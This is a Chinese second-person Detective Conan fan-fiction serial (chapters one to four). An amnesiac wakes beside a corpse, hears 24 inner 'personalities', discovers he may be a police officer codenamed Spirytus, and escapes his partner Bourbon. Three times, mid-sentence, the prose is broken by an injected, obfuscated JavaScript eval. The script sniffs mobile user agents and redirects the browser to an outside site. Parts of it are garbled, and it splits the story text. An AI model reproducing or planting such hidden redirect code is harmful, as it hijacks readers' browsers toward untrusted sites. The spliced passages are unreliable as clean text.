《[主柯]一睁眼后多了24个人格》 1. 第一章 没有什么比一睁眼后就看见一具尸体更为惊悚的了。 那具尸体被层层叠叠的木炭、碳粉，再以泡泡纸包裹得活像是个粽子。 按理来说，这么严实的包裹不可能让人一眼便发觉它是一具“尸体”，但你却在第一时间便意识到了这不是个玩笑。 因为，即使在这么多的除臭手段下，仍会有难以形容的恶臭从中透出。 不过即便没有任何异味，你大概也能在第一时间便察觉异样，对这个一米八左右的瘦长形状的可疑包裹产生怀疑吧。 那是人类被刻在基因里的、对同类尸体的恐惧。 可是，又说不定…… [或许这一切真的只是个玩笑呢？] 脑内似乎有道声音在这样怂恿着你。 [上前去看看吧。仔细去看看它，你可以证明这一切不过是个坏心的恶作剧罢了。] 于是，怀抱着侥幸。你上前一步，仍是隔着相当的距离，小心翼翼的朝包裹的缝隙处看了一眼。 脑内的声音复而笑起来： [锵锵，发现尸体！San Check Roll1d3=3！你的理智值减少了3点！残存理智值：13。] [你感到了严重的不适。看清了包裹内的腐肉与蛆虫的一瞬，强烈的反胃感让你差一点吐出来。好在你忍住了这股冲动，没让现场变得更糟。] 你才意识到不对。 不仅是面前的尸体不对、状况不对、你所处的环境不对、还有你脑中的这道声音也不对。 它仿佛是有自我意识、并有着确切逻辑的与你交谈着。 「你是谁？」 你试探性的问道。 [哎呀，你把我都忘了吗？] [或者说，你把“我们”都忘了吗？] 伴随着这句疑问，更多的声音一同在脑内响起，你感觉自己的头皮都在发麻。 [不过也没关系。我们早就习惯了你的丢三落四。] [或许是因为受到了太大的刺激？]另一道声音说。 [需要向他自我介绍么。]又一道声音问。 [哦，]从刚才便一直喋喋不休的声音主动说道：[姑且还是介绍一下吧。] [你可以把我们当做有声的直播弹幕，可以把我们当做上帝视角的读者，可以把我们当做场外的观众。……也可以把我们当做你另外的人格。不论你认同与否，我们都会在你身边。] [当然了，我们是作为你的同伴存在的。在这一点上你可以完全相信我们。] [不过毕竟有这么多人。为了区分我们，果然还是有个名字比较方便称呼吧？] [你可以称呼我为【能说会道】。] 另外也有几道声音自我介绍道：[我是【博学多闻】。] [【钢筋铁骨】。] …… 你没有心情一一听取他们的自我介绍，实在是因为眼下发生的事情太过匪夷所思，超脱了逻辑。 你不知道是否应该相信脑内声音的陈述，甚至反而真有些相信这一切只是个离奇的恶作剧了。 仍带着一些混乱，你无意识的喃喃道：“直播？读者？多重人格？……” 你的本意不是向“他们”询问，却仍有一道声音回应了你。 [【平心定气】：看看你的理智值，只有区区的13。你知道这意味着什么吗？] “什、什么？” [【平心定气】：意味着你的精神异于常人——我是指，你已经“疯”了。] [【平心定气】：我们的存在或许是你臆想出来的，或许是切实存在的。但不论是哪一种，你是个“疯子”的事实不会改变。] [【平心定气】：不论是在病理意义上，还是在世俗大众眼中。所以——] [【平心定气】：接受现实吧。] 你尚还来不及说些什么，另外两道声音接连在脑内响起： [【疑神疑鬼】：并且，你应该赶紧处理掉这具尸体。或许马上条子就要来敲你家门了呢？] [【眼明手巧】：在现代社会，几乎不会存在所谓的“完美犯罪”……不过交给我来做的话就另当别论了。……看看你这样粗糙的尸体处理方法，就已经能够确定你不具备什么作案天赋了呢。] 你大惊失色：“为什么就已经笃信我是犯人了？我现在什么都不记得……等等，莫非你们亲眼看到了‘我’的犯罪过程？” [【循循善诱】：毕竟这里是你家。在你家发现了尸体，请问最大的嫌疑人是谁？] 你才发觉到些许不对——或者说，你自睁眼的瞬间便意识到了违和，只是注意力被身前更大的谜团吸引去了而已。 现在你才明确的提出了这个疑点：“这里不是我家，我家根本不是这样的布局！而且看这屋内家具的积灰程度，这里应该很久不曾有人居住了吧？” [【见微知著】：是的。根据家具、地板上的积灰程度，能够粗略判断出这里已经有3个月以上不曾有人来过。] [【故弄玄虚】：你还可以检查一下水电是否通畅、再看看冰箱内留存物品的日期。不过冰箱说不定里藏着什么更恐怖的东西呢？比如说已经腐烂了的…………] 你被吓得心惊胆颤，但未知的才是最令人恐惧的。你鼓起勇气打开冰箱，其中却空空如也，什么恐怖片里的景象都没出现。 【故弄玄虚】笑出了声：[我就是诈你一下而已，毕竟电视剧里都是那么演的。] 这种不合时宜的玩笑让你连吐槽的欲望都失去了。却又因不知所措，你徒劳的在原地转了一圈。 [【见微知著】：不过你的确应该注意。] [【天人感应】：警察要来了。] [【见微知著】：想想应该如何向他解释吧。现在你就可以去到玄关，将旁边鞋柜上的东西放进口袋里。］ 你心怀忐忑，两腿都在颤抖，一步一挪的来到了玄关。 [【天人感应】：他很快就会来到这所房间的门外。他的目标就是你。] 你看见了鞋柜上的东西，将它拿在手中时，却感觉自己的血液都凝固了。 [【五感发达】：来了。我已经听见脚步声了。] 怀着对警察天然的信赖感，你本来想着向警察坦言自身的状况、一睁眼就遇见的这出莫名其妙的事件。 尸体确实与你无关，你也确实不曾拥有自己在今日之前的所有记忆。 但是你想，不论人是不是你杀的，你都不应该破坏现场，更不应该慌张得失了分寸，以犯下毁坏尸体罪、遗弃尸体罪这样自作主张的愚蠢行为。 只要向警察坦言就好。或许突然出现在这里的你是足够可疑，但真相必定不会被埋没。他们会证明你的清白。 ——在看见鞋柜上的东西前，你还是这样想的。 [【见微知著】：你现在也应该发现了。] 却因为看见了它上面张贴的照片，你完全打消了方才脑内的所有念头。 鞋柜上放着的是一份警察证。 证件的表面沾了大量的血，甚至浸到了内页去。 这落下的血液显然已经有了一段时日，完全氧化过后，只留下了肮脏的暗红。 而在这份警察证的内页，明白张贴着的照片里，赫然是自己的脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202459|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[【见微知著】：是的。你是一名警察。] 你颤抖着手，将那份染了血的警察证塞进了荷包，堪称逃也似的打开房门、离开这间屋子。 究竟是身为警察的“我”杀了人？ 还是“我”只是受命来调查尸体，却因某种原因失去了记忆？ 可那警察证上的血液又是怎么一回事？ …… 升起的疑问太多，你只想将它们全都抛之于脑后。紧紧关上门后，你倚着墙，怀着侥幸希望能把所有噩梦留在那间房屋里。 这一切都与你无关。 这一切都只是个梦。 你什么都不知道。 你来到门外，仍倚着身后的门。放眼望向四周，这里是一道寂静的走廊。 你只是个无辜的、恰好睁眼就出现在这里的过路人。 可是……那份警察证上，切切实实的印有你的照片。 疑问又一次的冒了出来。 你是警察……？ 你真的……杀了人？ 你只觉得脑内一片混乱。 而那名所谓的“警察”已经登上楼梯，自走廊一角缓缓走到了你的面前。 你不知道他是如何得知你的所在、又是如何锁定你的位置并找上门来的。 你密切的倚着门，细细的打量着面前的金发男人，生怕他突然暴起，拨开你冲进你身后的房门似的。 金发、黑皮、灰紫色眸子的男人亦在观察着你。 显然他也并非什么好相与的人。 看了你一眼之后，他将所有的戒备与怀疑埋藏于眼眸深处，转而勾起一抹讥讽的笑：“久仰大名，斯皮亚图斯。” 你：……？ 还好你刚刚看了那份警察证，你很确信自己不叫这个名字。 ……话说回来，Spirytus（生命之水）好像是个酒名吧？ 为什么要用酒名称呼你？ 你不知道是不是应该应下他这声称呼，内心只觉得这名“警察”的态度实在有些古怪。 不过尚不需要你作出决断，他已经自我介绍道：“初次见面，斯皮亚图斯前辈。我是波本，这次任务就请多指教了。” 他是警察，我也是警察，同行的话叫我“前辈”好像没什么不对的。但是波本（Bourbon）……？ 这好像也是一种酒名？ 可他不是警察吗？怎么会有警察自我介绍用这么奇怪的名字，应该不是真名就叫“波本”吧？ 于是，你直白的将内心的疑问问出了声： “会有叫‘波本’的警察吗？” 这个问题或许问得非常不合时宜。 因为你敏锐的察觉到，面前“波本”的表情完全凝滞了。 [【争强好胜】：哈哈哈哈哈！你竟然真的说出来了，勇夫！] [【五感发达】：看，他的表情不仅僵硬起来，眼中甚至还隐隐透露出几分杀意。] [【循循善诱】：因为你戳破了他最想隐瞒的谎言。] 你也不知道仅仅是一句没有恶意的提问，竟然会让对方升起了杀心。……这是一名正经警察该有的反应吗？ 你满头大汗，不知所措。 你的“人格”们却给出了两个截然相反的选项： [【同舟共济】：不如向他坦言吧。既然他是一名警察，那就应该相信他。向他坦言你也是一名警察，并告诉他你所遭遇的困境，他会帮助你的。] [【疑神疑鬼】：继续欺骗他吧。你总不可能将自己的把柄递到一个可疑的陌生条子手中。继续扮演“斯皮亚图斯”这个角色，或许还能有额外的收获？] 2. 第二章 「会有叫‘波本’的警察吗？」 波本望向你的目光更显深沉。 在他看来，那就是有如传闻一般充满算计的、抓住他的把柄后露出的过于肆意妄为的笑容。 ……他究竟是如何发觉的？ 是偶然猜到的，还是我已在不察间露出了致命的马脚？ 如此故作玄虚的语气，他的意图究竟是威胁，还是试探？ “斯皮亚图斯”，果然就不是什么省油的灯。 波本暗暗磨着后槽牙，背部已被冷汗浸湿，他的脑中正极速思考着应对之策。 ——“你”是一柄让所有人都感到棘手的双刃剑。 “你”的存在犹如一颗不知何时就会爆炸的定时炸/弹。组织现在也终于下定了决心： 让“你”活下去，绝对是弊大于利。 而且，巧了。 收到这个任务的波本，此时也是这么想的。 「斯皮亚图斯，是敌人。」 波本难得完全认同了组织的行动理念，并将所有戒备与敌意都指向了你。 也不怪他对“你”的戒备太深。 在出行这次任务之前，波本恰巧遇见了琴酒。他亦是知道波本这次的任务内容的。 “这是BOSS为他设下的局。” 不知是因为深刻的认同，还是因为格外的憎恶。一反常态的，琴酒与波本多说了几句。 以往，他不会这么直白的点出任务的真实目的： “去杀了他。” 组织意图处理掉多余的成员并不算什么稀奇事。一旦下发了这般任务，大家往往都是尽在不言中，一个眼神便能领会所有。 这就是组织成员间暗昧的默契。 波本虽对“斯皮亚图斯”的传言早有所耳闻，但实际的接触这还是第一次。他更是提起了十二万分的认真与戒备，详尽的向琴酒收集情报： “他背叛了组织？” “不。”琴酒的回答毋需犹豫：“他不会是组织里的老鼠。” 琴酒说着，逐渐挑起了嘴角：“他是BOSS最为忠诚的狗，也只会是属于BOSS的狗。自然，他忠于组织，只是……” 波本静候下文。 琴酒声音平稳的说道： “变成‘疯犬’以后，他的存在就显得弊大于利了。” 一反常态的说了些多余的话，琴酒并不再吐露其他情报了。他只说道： “即便是‘疯犬’，猎捕他却也并不容易。布好网、设下饵，做好万全的准备后，再将他引诱至陷阱里吧。” “先取得他的信任，然后……” “找准时机，一击毙命。” “当然，这只是一点建议罢了。听从与否，都随你便。” 琴酒拉长的语音落下来，波本抬起头时正对上了琴酒露出的冰冷的笑意。 他的眼神像是在看落入瓶中而不得不相互厮杀的两只蛊虫。 甚至…… 波本感觉到，琴酒期待的胜者，隐隐是倒向另一边的。 琴酒的声音里尽是等着看乐子的恶意的笑： “不过话又说回来，波本。和斯皮亚图斯对上，死的人说不定会是你呢？” …… 收敛回忆，波本悉心藏好了自己心中所有的戒备。 他露出亲切的笑容，你因为松弛下来的空气而松上一口气，却没有发现波本仍在以隐秘的目光打量着你。 你亦注视着他，内心有过自己的考量。 你可以相信警察。 但你无法相信一位穿着便装、绝对伪造了身份，一开口便是谎言的“警察”。 不仅是面前的这位警察，事实上，就连你脑内的诸多声音，你都是怀疑的。 ——自己都无从知晓的情报，但为什么他们能一口断言面前的这位男人是“警察”？ 你相信的，只有自己。 你想，大不了待会摆脱了这家伙之后，自己再去警察局报案吧。 于是，你没有向这位“波本”坦言自己的身份、还有自己一睁眼后见到的不可思议的光景。你只是向他说道：“所以，你找我有什么事？” 偏偏是在决定了摆脱这人、独自去警察局报案后，波本说出了他的来意： “组织来任务了，斯皮亚图斯。” 你因为听不懂“组织”、“任务”二词指代的是什么意思，更不知道该如何接茬，你只能向他露出尴尬而不失礼貌的微笑，内心更是逐渐升起一股不详的预感。 “什么任务？”你问。 波本给出了答复：“任务地点在米国，时限为三周。我会作为你的搭档与你一同行动，直至你完成任务。” 你陷入了漫长的沉默。 波本倒是无所谓这尴尬的空气，如老朋友一般自在开口道： “放轻松，前辈。这次的任务也不是什么特别难的内容。虽然我们还只是第一次合作，但你可以相信我是不会给你拖后腿的。” “……好羡慕你的自信。那这次的任务可以全交给你一个人完成吗？我跟着你划水摸鱼行不行。” 你仍然靠着门，一副没骨头的样子，回答得也很敷衍。 先不论是什么“任务”，失去所有记忆的你连自己还有没有常识都不太确信了，更别提以前自己所掌握的技能。 你害怕露馅，更何况面前这人从一开始就给你一种来者不善的味道。你不敢和他交流太多信息，慢慢在和他打太极。 波本仍挂着笑容，温和而亲切的否定了你的提议：“那可不行。说到底，我只是一位辅助，这次任务的主角可是前辈你啊。我可不敢抢主角高光。” 所以究竟是什么任务？而且还需要去到美国？还限时？ 更重要的是，他说他会“一直与我共同行动”？ 正应证了你的所思所想，波本强调般的说道： “前辈，我会一直跟着你的。不论你去到哪儿，我都有自信能够找到你。” 莫非、他不会是打算、接下来这一路都紧紧跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202460|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我吧？那我还怎么去找警察求助，我总不可能当着这个可疑人士的面进入警局吧？？ 你：“……我没理解错的话，你这话应该是‘让我不要乱跑’的威胁？而且你是什么私生饭吗，还是跟踪狂？不要把stalker行为说得这么光明正大，我有点怕。” 波本：“哈哈，前辈真会说笑。我只是单纯的很仰慕前辈罢了。” 你：“你这么一说我就更害怕了。而且我没听错的话，你刚才的话语里好像并没有否认你的跟踪行为？” 波本：“嘿嘿。” 你瞳孔地震的看着“嘿嘿”的波本，仿佛看见了哥斯拉穿着比基尼在你面前跳钢管舞，起了一身的鸡皮疙瘩： “所以你不会真在我身上安了定位器什么的吧？” “你猜？” 波本俏皮的吐了吐舌。 你立刻硬了，拳头硬了。 面对波本目光，你只觉得胃部在抽搐，肌肉在痉挛。 却见波本也是握拳，干劲满满热血沸腾的继续说道：“前辈你放心！如果遇见什么你实在折腾不过的困难，我一定会帮把手的！” ……这家伙装什么体贴后辈啊，一点都不觉得感动好吗！而且他这是不是在转移话题，我已经看出来了！ 不管怎么样，你现在内心已有99%的确定面前这家伙不是警察了。 信誓旦旦却给出错误情报的那群“人格”果然不靠谱！ 你甚至觉得你报警的时候应该顺便让警察把这个叫“波本”的可疑人士也抓起来，说不定能查到什么前科。 你内心戒备着他，怀揣着太多不解。却没来得及开口，波本反而先一步向你提出了疑问： “从刚才开始，为什么你一直倚着这间屋子的门？” 你心头一跳，凝望向波本。波本仍是那副人畜无害般的笑容，满目无辜的对上你的眼眸： “这道门后面……藏了什么吗？” 寂静许久的人格们终于出声。 全无危机意识，反而像又一次迎来了一出好戏，他们的声音里满是兴奋。 [【同舟共济】：邀请波本一起检查尸体。] [至少他看起来还挺聪明，或许能注意到你不曾意识到的细节，为你洗脱嫌疑。他的能力足够帮助到你，你恰好也需要一位值得信赖的好同伴。] [【争强好胜】：接受任务，忘掉门后的尸体，跟随波本一同离开。] [他是不会细究这扇门后的情形的，他看重的只有他为你带来的任务。不过即便他已经察觉到门后的秘密，你也有足够的能力让他闭嘴，因为你仍然握着他不想被人知晓的把柄。] [【循循善诱】：支开他，独自一人再次检查尸体。] [这是独属于你一人的秘密。房间内或许还有其它重要线索，你不能让其他人察觉。如果暴露，说不定会为你带来难以承受的后果。] 你思考着摆在面前的三个选项，面对波本探究的眼神，又一次陷入了漫长的沉默。 3. 第三章 你决定接受波本的邀约。 一方面是为了转移他的注意力，一方面也是看他来势汹汹，大概也不会简单任你拒绝。 于是你向他主动提出邀请，与波本共赴那个所谓的“任务”。 你们离开了这栋公寓——原来你所在的地方是一栋公寓。 你一眼瞟过公寓入口处的信箱。 你知晓你方才所在房间的门牌号，装作无意看向对应信箱时。半是在你的猜想之中，那个信箱里塞满了各式信件、广告、垃圾。 其房间的主人果然很久未曾打理过自己的邮箱——不如说那个房间，都不曾有人来往过了。 你无意识的想着那具尸体、那个房间的主人、还有至今未明的自己的身份； 一边看向身旁，小麦肤色的金发男人满载闲适，姿态放松的并肩走在你的身旁。 任哪个外人来看，都会以为你们是相识许久、关系亲密的好友吧。谁会想到，你们其实才是初见呢。 ……而且他还有stalker嫌疑。 思及至此，你又觉得浑身不自在，总担忧自己身上不知不觉被他放了追踪器什么的。 你忍不住又问道：“所以你究竟是怎么找到我的？” 波本笑了笑，还是在卖关子：“前辈你觉得呢？” 你想了想。走出公寓公寓的时候，你亦注意到了入口处的监视器。于是你试探性的问道：“你是通过监视器发觉我进入公寓……” 你没有任何记忆。 如果他给出肯定回答，你会想办法从他口中探听你“失忆前”的情报。 波本摇了摇头。你皱起眉，正待思考下一种可能性，波本这次却直接给出了答案： “是因为你给了我电话，告知我你的所在地、所以我才找到了你。” 听见这个回答，你有轻微的怔忡。 波本仍是笑着，却是目光锐利的盯着你。他眼里不含笑：“就别再试探我了吧，斯皮亚图斯。” 你沉默着，思考着他这句话中包含的信息。 波本像是在继续解释：“即便我真的有实时查阅这一代监视器录像的权限，我也不可能日夜不分的紧盯屏幕，就为了搜寻你的行踪。” 波本摊手，像是在吐槽一位皮实的熊孩子： “如果你真想藏，我确实没有办法找到你。当然你也不用担心我在你身上放定位装置这样的手段。接下来的任务我们还会同行三周呢，我可不想一开始就与你内讧。” 这一段话，波本说得很诚恳。他是注视着你的眼睛说的： “所以我很感谢你能主动出来接受这个任务。如果我一直找不到你的人，那最后受到组织处罚的就会是我了。” 你仍在思考，所以保持了沉默。波本又一次露出笑容。这一次是含着真心，你看见他眸中温润的神色，带着几分让人情不自禁交托信任的魅力。 他向你伸出了手，笑着向你邀约道：“早就听说了你的能力优秀，终于有机会能让我观瞻学习一番了。希望我们能够合作愉快，斯皮亚图斯。” “我会成为一位值得依靠的好搭档的。”他说，“所以……” 话语却止在了这里。金发男人本带着笑意的脸上显出几分欲语还休，莫名有些吞吐，也没把后面的语句说完。 你便好奇追问道：“所以？” “所以什么？” “所以……你可以尝试相信我。” 他微微侧了头，不好意思直面你的目光，格外别扭的说道：“不过我知道，这个词汇很难出现在组织成员间。所以算了，当我没说。” “只是作为普通的工作搭档。” 波本又一次露出笑容，温声对你说道：“这三周时间里请多指教了，前辈。” 你亦对他露出笑容，握住了他向你伸来的手。 他的手掌是炽热的。 或者是因为你的体温本就太低，又或者是因为你仍未从一睁眼就看见尸体、听见自己多了“24个人格”的惊吓中回过神来。你握着波本的手，轻易感受到了他蕴藏在手心中的温度与力量。 他紧紧握住了你的手，就像是握住了一份重要的誓言。 你听见你脑中的声音说： [【能说会道】：接下来该怎么办呢？] [【食髓知味】：跟着他离开，就这样开启任务？] [【争强好胜】：还是背叛他对你的期待，独自开启不一样的支线未来？] 你仍然是笑着的，笑得和波本一样灿烂。 但你在脑中的回应没有丝毫犹豫： 「我要摆脱他。」 脑内的声音们低低笑起来，仿佛早就预料到了你的回答。 你问：「我现在有办法逃离他的监视吗？我想要独自行动。」 [当然。]其中一道声音回应道。 [【鬼祟玲珑】：把你的身体控制权交给我，我带你绕路甩脱他。] [不用担心，我只是暂时借用你身体而已，很快就会把控制权还给你。] 你略一犹豫。而波本也松开与你交握的手，轻轻拍了一下你的背：“走吧，我们先去机场。我已经买好机票了。” 你点头：“什么时候的飞机？” “时间尚有余裕，距离起飞还有4个小时。” “哪个飞机场？” “米花町只有一个飞机场，前辈。” 你点头，指了指路边：“叫计程车过去？” 波本点头。 “谁出钱？”你半开玩笑的说道。 波本显得有些无奈的看了你一眼：“谁都知道你穷。……行吧，我出钱好了。” “谢谢，我现在也庆幸起能和你搭档了。你说得没错，我确实两口袋空空。” 你摸着下巴饶有兴致的模样：“但是你怎么说得好像大家都很熟悉我一样？我在‘组织’里原来这么出名的？” “除非是刚进组织不久的新人，不然谁会不知道前辈你的大名……我是说代号呢。” 恰好，一辆计程车驶过路边。波本拦下计程车，和司机交代了一句目的地，所以话题也中断了一瞬。 接着他才继续说道：“在组织里，你可是个大名人。我刚进组织时就听说了你……” 【鬼祟玲珑】，上号！ 波本半个身子已经探入计程车的时候，你果断转移了身体的控制权。 【鬼祟玲珑】身体前倾作势要进入计程车，却在这一瞬突然爆发，按住计程车后车盖，单手支撑翻身跃到车顶，就这样直冲向马路中央。 面对频频响笛的卡车大巴，【鬼祟玲珑】如蛇一般以不可思议的走位穿过车流，就连作为旁观者视角的你看得都是一阵心惊胆跳。 可紧张的情绪都还没来得及提起，【鬼祟玲珑】已经到达了马路对面。 有如短跑冠军一般，他用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202461|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着你的身体，向仍留驻在这头的波本扬手打了个招呼：“Bye-bye！” 波本已经冲出计程车，向你追来。 你处于旁观视角，又像是被牵着绳的风筝一般，看着“自己”再次冲出向前，隐匿在对面马路的人群中。 仅仅是这点手段，还不足以甩脱波本，他很快跟了上来。不过他的能耐似乎也在【鬼祟玲珑】的预料之中。【鬼祟玲珑】搜寻着可行道路，跑酷一般以极为不可思议的柔韧性飞檐走壁，没几步几蹿到了房顶上去。 你感受着轻风拂过脸颊，再次迈步向前，享受着纯粹的被追逐的快感。 波本又一次拉近了与你的距离，你却没有半分紧张。不仅如此—— “哈哈哈哈哈哈哈————！！” 或许是顺应你此刻的心情，又或者是受至于【鬼祟玲珑】的操纵，你自喉中发出了不符合此时此景的、完全不合时宜的畅快笑声。 “有趣、真有趣！” 你在屋顶上张开了手臂，回头看向隔着距离追逐着你、同样跃上屋顶的波本。 他亦看见了毫无防备般站在前方屋顶、停下步子，疯狂大笑出声的你。 你望向他的眼中满是兴奋与愉悦。 就像进入游乐园、即将乘上娱乐设施的幼儿一般—— 【鬼祟玲珑】——不，或许这亦是你想说的话。 波本读懂了你的唇语： [来抓我试试啊？] 你重新看向前方，紧绷肌肉，迈步冲出，一瞬之间便消失在了他的视野之中。 波本瞳孔微微放大。包含着你突然逃离时给他带来的惊讶、联想到任务可能失败后带来的紧张、…… 还有被激起原始的狩猎本能后，直面你的挑衅时带来的兴奋。 他勾起嘴角，笑容甚至隐隐有些扭曲。波本动作迅捷的向前疾步冲出，跟上了你离去的背影。 —— “好了，换班！” 【鬼祟玲珑】确认了周围再也不见波本的身影，比你预想的更为轻易，他将身体的控制权交还给了你。 对于缺失了记忆的你来说，这里依然是个从未见过的街道、全然陌生的地界。 左顾右盼的打探环境时，你眼尖，刚好注意了些许异常。同时亦有声音对你进行了提示： [【五感发达】：有两个值得注意的对象。……不，应该算作是三个吧。] [【五感发达】：你发现那个小偷了吗？] 你点了点头。 [【见微知著】：有个小偷正准备偷窃他斜前方的目标对象的钱包。] [【见微知著】：而在他们三点钟方位的斜后方，那名黑发男人虽穿着常服，但毫无疑问，他是警察。] [【博学多闻】：这大概就是“螳螂捕蝉，黄雀在后”吧，哈哈。] 你不着痕迹的向着便衣警察的方向看了一眼。 [【争强好胜】：怎么样，要去插一脚吗？] 你又一次点了点头。 [【循循善诱】：那么，以谁为目标呢？] [小偷？被小偷盯上的冤种？还是那名便衣警察？] 你并未直接回答。只是一边活动着肩膀，右手探向背部。 就像是拍打灰尘一般，你动作随意的伸手，将左肩处的微型定位装置扔进了垃圾桶中。 然后，你光明正大的向着他们其中一人走去。 4. 第四章 那个小偷或许自以为动作隐蔽，但你发现他却不费什么功夫。不知道是不是因为刚从刺激的逃亡中获得了胜利，尚未褪去的肾上腺激素仍在影响着你的思维。 [【眼明手巧】：他的动作可真逊……如果是我，我可以神不知鬼不觉的在一秒内偷走三个钱包，哪会像他这样畏畏缩缩的。真逊。] 当其中一位人格这样说着的时候，你竟然产生了深刻的认同之感。……但也仅仅是一瞬。 [【通情达理】：这可不值得骄傲，我亲爱的。] 有声音代替你说道。 [【眼明手巧】：……嘁。] 你继续观望着那个小偷。 毕竟也没实际目睹过小偷偷窃的真实过程（可能就算见过你现在也忘光了）。你还带着几分好奇，仔仔细细的看着小偷缓缓伸出手——神不知鬼不觉的，动作很慢却也很是轻巧，就这样慢慢摸出了他的目标对象——一位高中生的钱包。 高中生似乎并未发觉这一切，一无所知的继续向前走着。 你的目光又顺着那名高中生，再转移到了小偷、最后落到了那个钱包上去。 平平无奇的黑色钱包。刚被小偷拿出来，挂在钱包上的护身符随着小偷小幅度的动作而左右摇曳着。 你的目光凝聚在那个独特的护身符上。 一般的神社应该不会贩卖此等颜色的护身符才对。 它以黑色为主基调，边缘处装点着张扬的金色。护身符的正面亦是以金色绣了字，正楷写着「祈福」。 背面…… 小偷终于得了手，还带着细微的颤抖，却是迫不及待的将钱包收到了自己口袋中去。他的动作变得大摇大摆，晃荡着的护身符也随之转换了角度，你得以看见护身符背面的字体： 「自由」。 灵光一现，鲜活的画面在你脑中一闪而过。但那短暂的记忆来得快去得也快，你没能抓住。 你还想细细回忆一番刚才闪过的灵感，却听脑内声音突然开口： [【能说会道】：话说回来，你可真是残忍。就那样抛弃了刚对你激情演说完的波本？就连我都有些被他的说辞打动了呢。] 「我说过了，我信任的只有自己。」 你回过神来，眼睛继续盯着小偷，脑内平静的回答道：「初识便迫不及待的交托信任，又以浮夸的言辞要求我的信任。他操之过急，反而显得可疑。」 [【疑神疑鬼】：你和我一样铁石心肠、而且充满谨慎，真不错。] [【标新立异】：我倒是觉得他就像少年漫的主人公一般，喜欢把‘热血、信赖、友情’挂在嘴边，是个没什么心机的家伙呢。是你们这群家伙过于阴暗，以小人之心度君子之腹了吧？] 你对【标新立异】的见解不以为然，解释说道：「他可是一边说着‘信任’、‘崇拜’的，一边往我背上贴定位器呢。那家伙可不单纯。」 刚刚波本拍了拍你的背部，在你背上留下定位器，你当时就发觉了。 [【五感发达】：原来你发现了？] [【见微知著】：我还以为你不知道呢。] [【疑神疑鬼】：你这小子果然深得我的亲传！] 【标新立异】也长长的“哦”了一声，迟钝的声音里带着恍然：[原来他不是真心对你说出那番话的吗？我真是看错他了。] 你不再与他们多聊。因为那名高中生还有他附近的小偷，与你只剩下了短暂的距离。 小偷螳螂捕蝉，刚得了手正在欢喜，全没想到有一只黄鹊绕到了他的背后。 [【眼明手巧】：换我。] 你将身体控制权移交出去，就见【眼明手巧】的手法果然比那小偷高超了不知道多少倍。 他只是假意略过小偷身边，与此同时，钱包就已到了你的手中。小偷还在沾沾自喜，对自己口袋里减轻的重量没有丝毫察觉。 身体重归你的掌控。你低头看了眼手中的钱包，还有更引你注意的那个护身符。在黑色的掩藏下，护身符的布料上有一抹不易被发觉的暗红色。 但你还是意识到了，它是血痕。 你无意识的摩挲着护身符上的血迹。然后当着那名小偷的面，你唤住了前方的高中生。 高中生回过头来，面上似乎带着迷茫。 你将钱包递给了他，带着笑容说道：“你的东西掉了。” “啊，谢谢。它对我而言很重要，谢谢你将它还给我。” 虽是对着高中生说话，你却斜眼看向身后。你的嘴角仍挂着笑容，看见了那名小偷脸色惨白，在身上四处摸寻着。 终于，他抬起头，对上了你的眼睛。 小偷的脸色变得更为难看了，他却不敢找你们讨要。 又一次对上你的目光后，他好像完全丧失了所有勇气，再不带丝毫犹豫，如同落败的狗一般夹着尾巴转身就跑。 你没有追。 只是在收回目光时，或许是你的多心，你看见高中生也看着小偷离去的方向，目带沉思。 他很快注意到了你的打量，干脆轻松的向你坦言道：“哦，那是一名小偷，我早就注意到他注意到我了。” “是吗。”你摸了摸鼻子：“看来是我多事了。” “怎么会呢。”高中生笑了起来：“谢谢你的帮助。不然我追回钱包还得再多费一些事。” 你有些好奇起来，顺口问道：“如果我没出现，你被他偷走钱包，你打算怎么追回？” 高中生耸肩，一副无所谓的态度：“我的钱包里有微型定位装置。我本来想定位到他的老巢，喊警察把他们一网打尽的。” 你：“……看来真是我多管闲事了。”甚至无意让警察也损失了一点业绩。 但是话说回来，在这个年代，定位装置难道是什么很烂大街的货吗，怎么感觉人手一个的？ 刚刚那个波本有就算了，怎么随便遇到一个高中生也有…… 高中生语气还是很轻松的说道：“没事，我在他身上也留下了一个定位装置。” 你：“…………” 完全不知道该说什么了。这座城市是叫做米花町吗，真是民风淳朴啊，原来人手还不止一个定位器，真是失敬失敬。 高中生似看出了你的无言以对，对你笑开来，主动向你说道：“我叫作——” 还没来得及等他说完，突然一阵强烈的目眩向你袭来。你几乎站立不稳，一手按住额头，眼前一阵发黑。 对方的惊呼传来：“你没事吧，大哥哥 